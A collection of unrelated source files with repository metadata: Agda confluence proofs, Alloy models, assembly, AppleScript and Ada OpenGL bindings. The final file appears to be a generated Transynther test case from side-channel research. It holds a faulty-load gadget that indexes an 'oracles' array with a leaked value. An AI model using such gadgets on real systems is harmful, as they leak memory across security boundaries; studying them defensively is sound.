→ ⟨ fac-loop , d + i ∷ i ∷ ⟦fac⟧ i ∷ [] ⟩⟱ (d + i ∷ d + i ∷ ⟦fac⟧ (d + i) ∷ [])
fac-loop-ok zero i = while-false (¬A→FalseA $ a≮a i )
fac-loop-ok (suc d) i with fac-loop-ok d (suc i)
... | next rewrite +-suc d i = while-true (A→TrueA $ a<sb+a i d) (ass , ass) next
fac-ok :
∀ n {i acc} → ⟨ fac , n ∷ i ∷ acc ∷ [] ⟩⟱ (n ∷ n ∷ ⟦fac⟧ n ∷ [])
fac-ok n with fac-loop-ok n 0
... | loop-ok rewrite +-comm n 0 = ass , ass , loop-ok
|
src/Tactic/Nat/Subtract.agda | L-TChen/agda-prelude | 111 | 5562 |
module Tactic.Nat.Subtract where
open import Tactic.Nat.Subtract.Auto public using (autosub-tactic)
open import Tactic.Nat.Subtract.Simplify public using (simplifysub-tactic; simplifygoal-tactic)
open import Tactic.Nat.Subtract.By public using (by-tactic)
open import Tactic.Nat.Subtract.Refute public using (refutesub-tactic)
|
alloy4fun_models/trashltl/models/5/JwWfPTJgB6yanZovk.als | Kaixi26/org.alloytools.alloy | 0 | 2839 | open main
pred idJwWfPTJgB6yanZovk_prop6 {
some f : File | eventually always f in Trash
}
pred __repair { idJwWfPTJgB6yanZovk_prop6 }
check __repair { idJwWfPTJgB6yanZovk_prop6 <=> prop6o } |
data/maps/headers/DiglettsCave.asm | opiter09/ASM-Machina | 1 | 168723 |
map_header DiglettsCave, DIGLETTS_CAVE, CAVERN, 0
end_map_header
|
archive/agda-3/src/Test/Functor.agda | m0davis/oscar | 0 | 10834 | <gh_stars>0
open import Everything
module Test.Functor where
List = List⟨_⟩
module _
{a b} {A : Set a} {B : Set b}
where
map-list : (A → B) → List A → List B
map-list f ∅ = ∅
map-list f (x , xs) = f x , map-list f xs
instance
SurjtranscommutativityList : ∀ {ℓ} → Surjtranscommutativity.class Function⟦ ℓ ⟧ (MFunction List) _≡̇_ map-list transitivity transitivity
SurjtranscommutativityList .⋆ f g ∅ = ∅
SurjtranscommutativityList .⋆ f g (x , xs) rewrite SurjtranscommutativityList .⋆ f g xs = ∅
SurjextensionalityList : ∀ {ℓ} → Surjextensionality.class Function⟦ ℓ ⟧ _≡̇_ (MFunction List) _≡̇_ _ map-list
SurjextensionalityList .⋆ _ _ f₁ f₂ f₁≡̇f₂ ∅ = ∅
SurjextensionalityList .⋆ _ _ f₁ f₂ f₁≡̇f₂ (x , xs) rewrite SurjextensionalityList .⋆ _ _ f₁ f₂ f₁≡̇f₂ xs | f₁≡̇f₂ x = ∅
SurjidentityList : ∀ {ℓ} → Surjidentity.class Function⟦ ℓ ⟧ (MFunction List) _≡̇_ map-list ε ε
SurjidentityList .⋆ ∅ = ∅
SurjidentityList .⋆ (x , xs) rewrite SurjidentityList .⋆ xs = ∅
test-isprecategory-1 : ∀ {ℓ} → IsPrecategory {𝔒 = Ø ℓ} Function⟦ ℓ ⟧ _≡̇_ (flip _∘′_)
test-isprecategory-1 {ℓ} = IsPrecategoryExtension {A = Ø ℓ} {B = ¡}
test-isprecategory-2 : ∀ {ℓ} → IsPrecategory {𝔒 = Ø ℓ} Function⟦ ℓ ⟧ _≡̇_ (flip _∘′_)
test-isprecategory-2 {ℓ} = IsPrecategoryFunction {𝔬 = ℓ}
test-isprecategory-1a : ∀ {ℓ} → IsPrecategory {𝔒 = Ø ℓ} (Extension (¡ {𝔒 = Ø ℓ})) _≡̇_ (flip _∘′_)
test-isprecategory-1a {ℓ} = IsPrecategoryExtension {A = Ø ℓ} {B = ¡}
test-isprecategory-2a : ∀ {ℓ} → IsPrecategory {𝔒 = Ø ℓ} (Extension (¡ {𝔒 = Ø ℓ})) _≡̇_ (flip _∘′_)
test-isprecategory-2a {ℓ} = IsPrecategoryFunction {𝔬 = ℓ}
test-isprecategory-1b : IsPrecategory {𝔒 = ¶} (Extension (Term.Term ¶)) _≡̇_ (flip _∘′_)
test-isprecategory-1b = IsPrecategoryExtension {A = ¶} {B = Term.Term ¶}
-- test-isprecategory-2b : IsPrecategory {𝔒 = ¶} (Extension (Term.Term ¶)) _≡̇_ (flip _∘′_)
-- test-isprecategory-2b = {!!} -- IsPrecategoryFunction {𝔬 = ?}
instance
HmapList : ∀ {a} → Hmap.class Function⟦ a ⟧ (MFunction List)
HmapList = ∁ λ _ _ → map-list
instance
isPrefunctorList : ∀ {ℓ} → IsPrefunctor (λ (x y : Ø ℓ) → x → y)
Proposextensequality
transitivity
(λ (x y : Ø ℓ) → List x → List y)
Proposextensequality
transitivity
smap
isPrefunctorList = ∁
isFunctorList : ∀ {ℓ} → IsFunctor (λ (x y : Ø ℓ) → x → y)
Proposextensequality
ε
transitivity
(λ (x y : Ø ℓ) → List x → List y)
Proposextensequality
ε
transitivity
smap
isFunctorList = ∁
instance
FmapList : ∀ {ℓ} → Fmap (List {ℓ})
FmapList = ∁ smap
module _
{a} {A : Set a} {B : Set a}
where
test-smap-list : (A → B) → List A → List B
test-smap-list = smap
module _
{a} {A : Set a} {B : Set a}
where
test-fmap-list : (A → B) → List A → List B
test-fmap-list = fmap -- the intention here is to try to say "I want to invoke a functoral mapping, so that I can be sure that, for example, that `test-map-list ε₁ ≡ ε₂`.
|
freenet-restore.applescript | rinchen/fesc | 0 | 3806 | <reponame>rinchen/fesc<filename>freenet-restore.applescript
on clicked theObject
-- Read in the preferences
set theLocation to POSIX path of (call method "defaultObjectForKey:" with parameter "location")
try
do shell script "cd " & theLocation & ";sh restore-prev.sh"
display dialog "Restore Completed."
on error
display dialog "Error: I encountered an unknown error trying to execute restore-prev.sh. Could restore-prev.sh be missing? Maybe you have no backup file?"
end try
end clicked
|
src/Pts/Reduction/Parallel.agda | asr/pts-agda | 21 | 15475 | <reponame>asr/pts-agda
------------------------------------------------------------------------
-- Parallel reduction in pure type systems (PTS)
------------------------------------------------------------------------
module Pts.Reduction.Parallel where
open import Data.Fin using (Fin)
open import Data.Fin.Substitution
open import Data.Fin.Substitution.ExtraLemmas
open import Data.Fin.Substitution.Relation
open import Data.Star using (Star; ε; _◅_; _◅◅_)
open import Data.Product using (_,_; ∃; _×_)
open import Data.Nat using (ℕ; _+_)
open import Data.Vec.All using (lookup₂)
import Function as Fun
open import Relation.Binary
open import Relation.Binary.EquivalenceClosure using (EqClosure)
open import Relation.Binary.SymmetricClosure using (fwd; bwd)
open import Relation.Binary.Reduction
import Relation.Binary.PropositionalEquality as P
open import Pts.Syntax
-- All remaining submodules are parametrized by a given set of sorts.
module _ {Sort : Set} where
open Syntax Sort
open Substitution Sort using (_[_])
----------------------------------------------------------------------
-- Parallel reduction
infixl 9 _·_
infix 5 _⇛_
-- One-step parallel reduction.
data _⇛_ {n : ℕ} : Term n → Term n → Set where
refl : ∀ {a} → a ⇛ a
Π : ∀ {a₁ a₂ b₁ b₂} → a₁ ⇛ a₂ → b₁ ⇛ b₂ → Π a₁ b₁ ⇛ Π a₂ b₂
ƛ : ∀ {a₁ a₂ b₁ b₂} → a₁ ⇛ a₂ → b₁ ⇛ b₂ → ƛ a₁ b₁ ⇛ ƛ a₂ b₂
_·_ : ∀ {a₁ a₂ b₁ b₂} → a₁ ⇛ a₂ → b₁ ⇛ b₂ → a₁ · b₁ ⇛ a₂ · b₂
cont : ∀ {a b₁ b₂ c₁ c₂} → b₁ ⇛ b₂ → c₁ ⇛ c₂ →
(ƛ a b₁) · c₁ ⇛ b₂ [ c₂ ]
reduction : Reduction Term
reduction = record { _→1_ = _⇛_ }
-- Parallel reduction and equivalence.
open Reduction reduction public renaming (_→*_ to _⇛*_; _↔_ to _≡p_)
----------------------------------------------------------------------
-- Simple properties of parallel reduction
-- Inclusions.
⇛⇒⇛* = →1⇒→* reduction
⇛*⇒≡p = →*⇒↔ reduction
⇛⇒≡p = →1⇒↔ reduction
-- parallel reduction is a preorder.
⇛*-predorder = →*-predorder reduction
-- Terms together with parallel equivalence form a setoid.
≡p-setoid = ↔-setoid reduction
open P using (_≡_)
-- Shapes are preserved by one-step parallel reduction.
sort-⇛ : ∀ {n s} {a : Term n} → sort s ⇛ a → sort s ≡ a
sort-⇛ refl = P.refl
ƛ-⇛ : ∀ {n} {a : Term n} {b c} → ƛ a b ⇛ c →
∃ λ a′ → ∃ λ b′ → a ⇛ a′ × b ⇛ b′ × ƛ a′ b′ ≡ c
ƛ-⇛ refl = _ , _ , refl , refl , P.refl
ƛ-⇛ (ƛ a⇛a′ b⇛b′) = _ , _ , a⇛a′ , b⇛b′ , P.refl
Π-⇛ : ∀ {n} {a : Term n} {b c} → Π a b ⇛ c →
∃ λ a′ → ∃ λ b′ → a ⇛ a′ × b ⇛ b′ × Π a′ b′ ≡ c
Π-⇛ refl = _ , _ , refl , refl , P.refl
Π-⇛ (Π a⇛a′ b⇛b′) = _ , _ , a⇛a′ , b⇛b′ , P.refl
-- Shapes are preserved by parallel reduction.
sort-⇛* : ∀ {n s} {a : Term n} → sort s ⇛* a → sort s ≡ a
sort-⇛* ε = P.refl
sort-⇛* (refl ◅ s⇛*b) = sort-⇛* s⇛*b
ƛ-⇛* : ∀ {n} {a : Term n} {b c} → ƛ a b ⇛* c →
∃ λ a′ → ∃ λ b′ → a ⇛* a′ × b ⇛* b′ × ƛ a′ b′ ≡ c
ƛ-⇛* ε = _ , _ , ε , ε , P.refl
ƛ-⇛* (refl ◅ λab⇛*d) = ƛ-⇛* λab⇛*d
ƛ-⇛* (ƛ a⇛a₁ b⇛b₁ ◅ λa₁b₁⇛*d) =
let a₂ , b₂ , a₁⇛*a₂ , b₁⇛*b₂ , λa₂b₂≡d = ƛ-⇛* λa₁b₁⇛*d
in a₂ , b₂ , a⇛a₁ ◅ a₁⇛*a₂ , b⇛b₁ ◅ b₁⇛*b₂ , λa₂b₂≡d
Π-⇛* : ∀ {n} {a : Term n} {b c} → Π a b ⇛* c →
∃ λ a′ → ∃ λ b′ → a ⇛* a′ × b ⇛* b′ × Π a′ b′ ≡ c
Π-⇛* ε = _ , _ , ε , ε , P.refl
Π-⇛* (refl ◅ Πab⇛*d) = Π-⇛* Πab⇛*d
Π-⇛* (Π a⇛a₁ b⇛b₁ ◅ Πa₁b₁⇛*d) =
let a₂ , b₂ , a₁⇛*a₂ , b₁⇛*b₂ , Πa₂b₂≡d = Π-⇛* Πa₁b₁⇛*d
in a₂ , b₂ , a⇛a₁ ◅ a₁⇛*a₂ , b⇛b₁ ◅ b₁⇛*b₂ , Πa₂b₂≡d
----------------------------------------------------------------------
-- Substitutions lifted to parallel reduction
--
-- The application _/⇛_ below may be considered a substitution
-- lemma, i.e. it establishes that substitutions of terms preserve
-- parallel reduction:
--
-- ⇛
-- a ------→ b
-- | |
-- -/σ | | -/σ
-- ↓ ⇛ ↓
-- a/σ ····→ b/σ
--
-- ∀ (a b : Term n) (σ : Sub Term m n).
-- Application of generic substitutions lifted to reduction.
record ParSubstApp {T₁ T₂} (R : TermRel T₁ T₂)
(l₁ : Lift T₁ Term) (l₂ : Lift T₂ Term)
(rl : RelLift R _⇛_ l₁ l₂) : Set where
infix 10 _↑₂
infixl 8 _/₁_ _/₂_ _/_ _/⇛_
open Substitution Sort using (termSubst)
private
_/₁_ = TermSubst.app termSubst l₁
_/₂_ = TermSubst.app termSubst l₂
_↑₂ = Lift._↑ l₂
open LiftTermRel T₁ T₂ using (_⟨_⟩_)
open RelLift rl
open P using (sym; subst)
-- T₂-substitutions commute.
field /₂-sub-↑ : ∀ {m n b} {σ : Sub T₂ m n} a →
(a [ b ]) /₂ σ ≡ (a /₂ (σ ↑₂)) [ b /₂ σ ]
_/_ : ∀ {m n} {σ₁ : Sub T₁ m n} {σ₂ : Sub T₂ m n} →
∀ a → σ₁ ⟨ R ⟩ σ₂ → a /₁ σ₁ ⇛ a /₂ σ₂
var x / σ₁∼σ₂ = lift (lookup₂ x σ₁∼σ₂)
sort s / σ₁∼σ₂ = refl
Π a b / σ₁∼σ₂ = Π (a / σ₁∼σ₂) (b / σ₁∼σ₂ ↑)
ƛ a b / σ₁∼σ₂ = ƛ (a / σ₁∼σ₂) (b / σ₁∼σ₂ ↑)
(a · b) / σ₁∼σ₂ = (a / σ₁∼σ₂) · (b / σ₁∼σ₂)
_/⇛_ : ∀ {m n a₁ a₂} {σ₁ : Sub T₁ m n} {σ₂ : Sub T₂ m n} →
a₁ ⇛ a₂ → σ₁ ⟨ R ⟩ σ₂ → a₁ /₁ σ₁ ⇛ a₂ /₂ σ₂
refl {a} /⇛ σ₁∼σ₂ = a / σ₁∼σ₂
Π a₁⇛a₂ b₁⇛b₂ /⇛ σ₁∼σ₂ = Π (a₁⇛a₂ /⇛ σ₁∼σ₂) (b₁⇛b₂ /⇛ σ₁∼σ₂ ↑)
ƛ a₁⇛a₂ b₁⇛b₂ /⇛ σ₁∼σ₂ = ƛ (a₁⇛a₂ /⇛ σ₁∼σ₂) (b₁⇛b₂ /⇛ σ₁∼σ₂ ↑)
a₁⇛a₂ · b₁⇛b₂ /⇛ σ₁∼σ₂ = (a₁⇛a₂ /⇛ σ₁∼σ₂) · (b₁⇛b₂ /⇛ σ₁∼σ₂)
cont {b₂ = b₂} a₁⇛a₂ b₁⇛b₂ /⇛ σ₁∼σ₂ =
P.subst (_⇛_ _) (sym (/₂-sub-↑ b₂))
(cont (a₁⇛a₂ /⇛ σ₁∼σ₂ ↑) (b₁⇛b₂ /⇛ σ₁∼σ₂))
-- Term substitutions lifted to parallel reduction.
module ParSubstitution where
open Substitution Sort using (termSubst; sub-commutes; varLiftSubLemmas)
open P using (_≡_; refl)
private
module S = TermSubst termSubst
module V = VarEqSubst
varLift : RelLift _≡_ _⇛_ S.varLift S.varLift
varLift = record { simple = V.simple; lift = lift }
where
lift : ∀ {n} {x₁ x₂ : Fin n} → x₁ ≡ x₂ → S.var x₁ ⇛ S.var x₂
lift {x₁ = x} refl = refl
varSubstApp : ParSubstApp _≡_ S.varLift S.varLift varLift
varSubstApp = record { /₂-sub-↑ = λ a → /-sub-↑ a _ _ }
where open LiftSubLemmas varLiftSubLemmas
infix 8 _/Var-⇛_
_/Var-⇛_ : ∀ {m n a₁ a₂} {σ₁ σ₂ : Sub Fin m n} →
a₁ ⇛ a₂ → σ₁ V.⟨≡⟩ σ₂ → (a₁ S./Var σ₁) ⇛ (a₂ S./Var σ₂)
_/Var-⇛_ = ParSubstApp._/⇛_ varSubstApp
simple : RelSimple _⇛_ S.simple S.simple
simple = record
{ extension = record { weaken = λ t₁⇛t₂ → t₁⇛t₂ /Var-⇛ V.wk }
; var = λ x → refl {a = var x}
}
termLift : RelLift _⇛_ _⇛_ S.termLift S.termLift
termLift = record { simple = simple; lift = Fun.id }
termSubstApp : ParSubstApp _⇛_ S.termLift S.termLift termLift
termSubstApp = record { /₂-sub-↑ = sub-commutes }
open ParSubstApp termSubstApp public
subst : RelSubst _⇛_ S.subst S.subst
subst = record
{ simple = simple
; application = record { _/_ = _/⇛_ }
}
open LiftTermRel Term Term public using (_⟨_⟩_)
open RelSubst subst public hiding (var; simple; _/_)
infix 10 _[⇛_]
-- Shorthand for single-variable substitutions lifted to redcution.
_[⇛_] : ∀ {n} {a₁ : Term (1 + n)} {a₂} {b₁ : Term n} {b₂} →
a₁ ⇛ a₂ → b₁ ⇛ b₂ → a₁ S./ S.sub b₁ ⇛ a₂ S./ S.sub b₂
a₁⇛a₂ [⇛ b₁⇛b₂ ] = a₁⇛a₂ /⇛ sub b₁⇛b₂
open ParSubstitution
----------------------------------------------------------------------
-- Confluence of parallel reduction
--
-- Parallel reduction enjoys the single-step diamond property,
-- i.e. for any pair a ⇛ b₁, a ⇛ b₂ of parallel reductions, there is
-- a term c, such that
--
-- ⇛
-- a ------→ b₂
-- | :
-- ⇛ | : ⇛
-- ↓ ⇛ ↓
-- b₁ ·····→ c
--
-- commutes. Confluence (aka the Church-Rosser property) then
-- follows by pasting of diagrams.
infixl 4 _⋄_
-- Diamond property of one-step reduction.
_⋄_ : ∀ {n} {a b₁ b₂ : Term n} → a ⇛ b₁ → a ⇛ b₂ → ∃ λ c → b₁ ⇛ c × b₂ ⇛ c
refl ⋄ a⇛b = _ , a⇛b , refl
a⇛b ⋄ refl = _ , refl , a⇛b
Π a₁⇛b₁₁ a₂⇛b₁₂ ⋄ Π a₁⇛b₂₁ a₂⇛b₂₂ =
let c₁ , b₁₁⇛c₁ , b₂₁⇛c₁ = a₁⇛b₁₁ ⋄ a₁⇛b₂₁
c₂ , b₁₂⇛c₂ , b₂₂⇛c₂ = a₂⇛b₁₂ ⋄ a₂⇛b₂₂
in Π c₁ c₂ , Π b₁₁⇛c₁ b₁₂⇛c₂ , Π b₂₁⇛c₁ b₂₂⇛c₂
ƛ a₁⇛b₁₁ a₂⇛b₁₂ ⋄ ƛ a₁⇛b₂₁ a₂⇛b₂₂ =
let c₁ , b₁₁⇛c₁ , b₂₁⇛c₁ = a₁⇛b₁₁ ⋄ a₁⇛b₂₁
c₂ , b₁₂⇛c₂ , b₂₂⇛c₂ = a₂⇛b₁₂ ⋄ a₂⇛b₂₂
in ƛ c₁ c₂ , ƛ b₁₁⇛c₁ b₁₂⇛c₂ , ƛ b₂₁⇛c₁ b₂₂⇛c₂
a₁⇛b₁₁ · a₂⇛b₁₂ ⋄ a₁⇛b₂₁ · a₂⇛b₂₂ =
let c₁ , b₁₁⇛c₁ , b₂₁⇛c₁ = a₁⇛b₁₁ ⋄ a₁⇛b₂₁
c₂ , b₁₂⇛c₂ , b₂₂⇛c₂ = a₂⇛b₁₂ ⋄ a₂⇛b₂₂
in c₁ · c₂ , b₁₁⇛c₁ · b₁₂⇛c₂ , b₂₁⇛c₁ · b₂₂⇛c₂
refl · a₂⇛b₁₂ ⋄ cont {b₂ = b₂₁} a₁⇛b₂₁ a₂⇛b₂₂ =
let c₂ , b₁₂⇛c₂ , b₂₂⇛c₂ = a₂⇛b₁₂ ⋄ a₂⇛b₂₂
in b₂₁ [ c₂ ] , cont a₁⇛b₂₁ b₁₂⇛c₂ , refl {a = b₂₁} [⇛ b₂₂⇛c₂ ]
ƛ _ a₁⇛b₁₁ · a₂⇛b₁₂ ⋄ cont a₁⇛b₂₁ a₂⇛b₂₂ =
let c₁ , b₁₁⇛c₁ , b₂₁⇛c₁ = a₁⇛b₁₁ ⋄ a₁⇛b₂₁
c₂ , b₁₂⇛c₂ , b₂₂⇛c₂ = a₂⇛b₁₂ ⋄ a₂⇛b₂₂
in c₁ [ c₂ ] , cont b₁₁⇛c₁ b₁₂⇛c₂ , b₂₁⇛c₁ [⇛ b₂₂⇛c₂ ]
cont {b₂ = b₁₁} a₁⇛b₁₁ a₂⇛b₁₂ ⋄ refl · a₂⇛b₂₂ =
let c₂ , b₁₂⇛c₂ , b₂₂⇛c₂ = a₂⇛b₁₂ ⋄ a₂⇛b₂₂
in b₁₁ [ c₂ ] , refl {a = b₁₁} [⇛ b₁₂⇛c₂ ] , cont a₁⇛b₁₁ b₂₂⇛c₂
cont a₁⇛b₁₁ a₂⇛b₁₂ ⋄ ƛ _ a₁⇛b₂₁ · a₂⇛b₂₂ =
let c₁ , b₁₁⇛c₁ , b₂₁⇛c₁ = a₁⇛b₁₁ ⋄ a₁⇛b₂₁
c₂ , b₁₂⇛c₂ , b₂₂⇛c₂ = a₂⇛b₁₂ ⋄ a₂⇛b₂₂
in c₁ [ c₂ ] , b₁₁⇛c₁ [⇛ b₁₂⇛c₂ ] , cont b₂₁⇛c₁ b₂₂⇛c₂
cont a₁⇛b₁₁ a₂⇛b₁₂ ⋄ cont a₁⇛b₂₁ a₂⇛b₂₂ =
let c₁ , b₁₁⇛c₁ , b₂₁⇛c₁ = a₁⇛b₁₁ ⋄ a₁⇛b₂₁
c₂ , b₁₂⇛c₂ , b₂₂⇛c₂ = a₂⇛b₁₂ ⋄ a₂⇛b₂₂
in c₁ [ c₂ ] , b₁₁⇛c₁ [⇛ b₁₂⇛c₂ ] , b₂₁⇛c₁ [⇛ b₂₂⇛c₂ ]
-- A strip lemma.
_⋄′_ : ∀ {n} {a b₁ b₂ : Term n} →
a ⇛ b₁ → a ⇛* b₂ → ∃ λ c → b₁ ⇛* c × b₂ ⇛ c
a⇛b ⋄′ ε = _ , ε , a⇛b
a⇛b₁ ⋄′ (a⇛b₂ ◅ b₂⇛*c₂) =
let c₁ , b₁⇛c₁ , b₂⇛c₁ = a⇛b₁ ⋄ a⇛b₂
d , c₁⇛*d , c₂⇛d = b₂⇛c₁ ⋄′ b₂⇛*c₂
in d , b₁⇛c₁ ◅ c₁⇛*d , c₂⇛d
-- Confluence (aka the Church-Rosser property) of _⇛*_
_⋄*_ : ∀ {n} {a b₁ b₂ : Term n} →
a ⇛* b₁ → a ⇛* b₂ → ∃ λ c → b₁ ⇛* c × b₂ ⇛* c
ε ⋄* a⇛*b = _ , a⇛*b , ε
(a⇛b₁ ◅ b₁⇛*c₁) ⋄* a⇛*b₂ =
let c₂ , b₁⇛*c₂ , b₂⇛c₂ = a⇛b₁ ⋄′ a⇛*b₂
d , c₁⇛*d , c₂⇛*d = b₁⇛*c₁ ⋄* b₁⇛*c₂
in d , c₁⇛*d , b₂⇛c₂ ◅ c₂⇛*d
-- Factorization of equivalence into parallel reductions.
≡p⇒⇛* : ∀ {n} {a b : Term n} → a ≡p b → ∃ λ c → a ⇛* c × b ⇛* c
≡p⇒⇛* ε = _ , ε , ε
≡p⇒⇛* (fwd a⇛b ◅ b≡c) =
let d , b⇛*d , c⇛*d = ≡p⇒⇛* b≡c in d , a⇛b ◅ b⇛*d , c⇛*d
≡p⇒⇛* (bwd a⇚b ◅ b≡c) =
let d , b⇛*d , c⇛*d = ≡p⇒⇛* b≡c
e , a⇛*e , d⇛e = a⇚b ⋄′ b⇛*d
in e , a⇛*e , c⇛*d ◅◅ (d⇛e ◅ ε)
-- Π-injectivity (with respect to ≡p).
Π-inj : ∀ {n} {a₁ a₂ : Term n} {b₁ b₂} → Π a₁ b₁ ≡p Π a₂ b₂ →
a₁ ≡p a₂ × b₁ ≡p b₂
Π-inj Πa₁b₁≡Πa₂b₂ with ≡p⇒⇛* Πa₁b₁≡Πa₂b₂
Π-inj Πa₁b₁≡Πa₂b₂ | c , Πa₁b₁⇛*c , Πa₂b₂⇛*c with
Π-⇛* Πa₁b₁⇛*c | Π-⇛* Πa₂b₂⇛*c
Π-inj Πa₁b₁≡Πa₂b₂ | Π a₃ b₃ , Πa₁b₁⇛*c , Πa₂b₂⇛*c |
._ , ._ , a₁⇛*a₃ , b₁⇛*b₃ , P.refl | ._ , ._ , a₂⇛*a₃ , b₂⇛*b₃ , P.refl =
⇛*⇒≡p a₁⇛*a₃ ◅◅ sym (⇛*⇒≡p a₂⇛*a₃) , ⇛*⇒≡p b₁⇛*b₃ ◅◅ sym (⇛*⇒≡p b₂⇛*b₃)
where
module ParSetoid {n} where
open Setoid (≡p-setoid {n}) public
open ParSetoid
-- Parallel equivalence on sorts implies syntactic equivalence.
sort-≡p : ∀ {n s₁ s₂} → sort {n} s₁ ≡p sort s₂ → s₁ ≡ s₂
sort-≡p s₁≡s₂ with ≡p⇒⇛* s₁≡s₂
sort-≡p s₁≡s₂ | c , s₁⇛*c , s₂⇛*c with sort-⇛* s₁⇛*c | sort-⇛* s₂⇛*c
sort-≡p s₁≡s₂ | ._ , s₁⇛*c , s₂⇛*c | P.refl | P.refl = P.refl
|
programs/oeis/315/A315745.asm | jmorken/loda | 1 | 90641 | <gh_stars>1-10
; A315745: Coordination sequence Gal.4.137.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,6,12,18,23,28,34,40,46,52,58,64,69,74,80,86,92,98,104,110,115,120,126,132,138,144,150,156,161,166,172,178,184,190,196,202,207,212,218,224,230,236,242,248,253,258,264,270,276,282
mov $2,$0
sub $0,1
mov $4,5
lpb $0
add $1,$0
sub $4,$3
trn $4,1
add $0,$4
trn $0,6
trn $1,$0
trn $0,2
add $3,3
lpe
lpb $2
add $1,5
sub $2,1
lpe
add $1,1
|
alloy4fun_models/trashltl/models/19/ibt6WP5ZxQ7wg4ugs.als | Kaixi26/org.alloytools.alloy | 0 | 4441 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idibt6WP5ZxQ7wg4ugs_prop20 {
always (all f : Trash | f in Protected since f in Trash)
}
pred __repair { idibt6WP5ZxQ7wg4ugs_prop20 }
check __repair { idibt6WP5ZxQ7wg4ugs_prop20 <=> prop20o } |
opengl/src/implementation/gl-low_level.ads | Cre8or/OpenGLAda | 79 | 12644 | <filename>opengl/src/implementation/gl-low_level.ads
-- part of OpenGLAda, (c) 2017 <NAME>
-- released under the terms of the MIT license, see the file "COPYING"
with GL.Types;
package GL.Low_Level is
pragma Preelaborate;
use GL.Types;
-- This package contains some low-level types that are used by the raw C
-- interface of the OpenGL API. They are converted to types that are easier
-- to handle by the wrapper and thus are not needed for using the wrapper.
-- However, they might be used by other APIs that use OpenGL and thus are
-- exposed publicly here.
-- Boolean with the representation used by the OpenGL API (unsigned char).
-- Is converted to a standard Boolean by the wrapper.
type Bool is new Boolean;
-- This type is never used directly. However, enumerations refer to it for
-- defining their Size attribute.
subtype Enum is C.unsigned;
-- Bitfields are usually converted to a record with Boolean fields in the
-- wrapper. However, for interacting with the OpenGL library, these records
-- are converted back to the raw Bitfield type (by means of
-- Unchecked_Conversion). Using the record directly with the C interface
-- requires it to have the C_Pass_By_Value conversion, which for some reason
-- breaks linking on Windows with StdCall convention (possibly a GNAT bug).
subtype Bitfield is C.unsigned;
-- These types totally are not pointers. No idea why they are named like this.
subtype IntPtr is C.long;
subtype SizeIPtr is C.long;
type Char_Access_Array is array (Size range <>) of access C.char;
-- used in API calls
type Size_Access is access all Types.Size;
type Bool_Access is access all Bool;
subtype Zero is Int range 0 .. 0;
private
for Bool use (False => 0, True => 1);
for Bool'Size use C.unsigned_char'Size;
pragma Convention (C, Size_Access);
pragma Convention (C, Bool_Access);
pragma Convention (C, Char_Access_Array);
end GL.Low_Level;
|
PRG/levels/Fortress/4-F1.asm | narfman0/smb3_pp1 | 0 | 169681 | ; Original address was $B6A6
; World 4 first fortress
.word W40F_BonusL ; Alternate level layout
.word W40F_BonusO ; Alternate object layout
.byte LEVEL1_SIZE_09 | LEVEL1_YSTART_170
.byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_14 | LEVEL3_VSCROLL_LOCKED | LEVEL3_PIPENOTEXIT
.byte LEVEL4_BGBANK_INDEX(2) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_FORTRESS | LEVEL5_TIME_300
.byte $6E, $00, $3A, $8F, $0E, $00, $E1, $8F, $10, $00, $E5, $03, $14, $0A, $E0, $11
.byte $15, $09, $E0, $12, $16, $08, $E0, $15, $17, $07, $E0, $16, $18, $06, $E0, $17
.byte $11, $10, $04, $11, $18, $04, $10, $20, $E6, $0C, $74, $20, $31, $03, $73, $27
.byte $33, $01, $75, $2A, $31, $02, $14, $2F, $E4, $05, $74, $2F, $30, $00, $75, $2F
.byte $31, $02, $15, $27, $04, $11, $32, $04, $12, $3A, $04, $36, $35, $A2, $36, $37
.byte $A2, $36, $3B, $A2, $36, $3D, $A2, $36, $39, $92, $10, $3F, $E2, $03, $16, $3F
.byte $E2, $0A, $12, $45, $E3, $04, $10, $49, $E0, $00, $70, $41, $31, $01, $15, $4C
.byte $04, $10, $51, $E4, $03, $73, $52, $31, $01, $31, $5A, $01, $14, $58, $E4, $05
.byte $17, $5E, $E1, $05, $75, $5C, $31, $01, $10, $60, $E4, $01, $34, $64, $A4, $10
.byte $68, $E4, $17, $16, $6E, $64, $15, $86, $E0, $02, $11, $83, $62, $10, $8F, $E8
.byte $00, $E3, $02, $20, $FF
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_2021.asm | ljhsiun2/medusa | 9 | 241229 | <reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_2021.asm
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %r9
push %rbx
push %rcx
push %rsi
// Load
lea addresses_A+0x8543, %rbx
nop
nop
nop
and $23363, %r9
vmovups (%rbx), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r10
and %r9, %r9
// Faulty Load
lea addresses_RW+0x18693, %rsi
nop
nop
nop
nop
nop
cmp %r13, %r13
mov (%rsi), %ecx
lea oracles, %rsi
and $0xff, %rcx
shlq $12, %rcx
mov (%rsi,%rcx,1), %rcx
pop %rsi
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
<gen_prepare_buffer>
{'32': 21829}
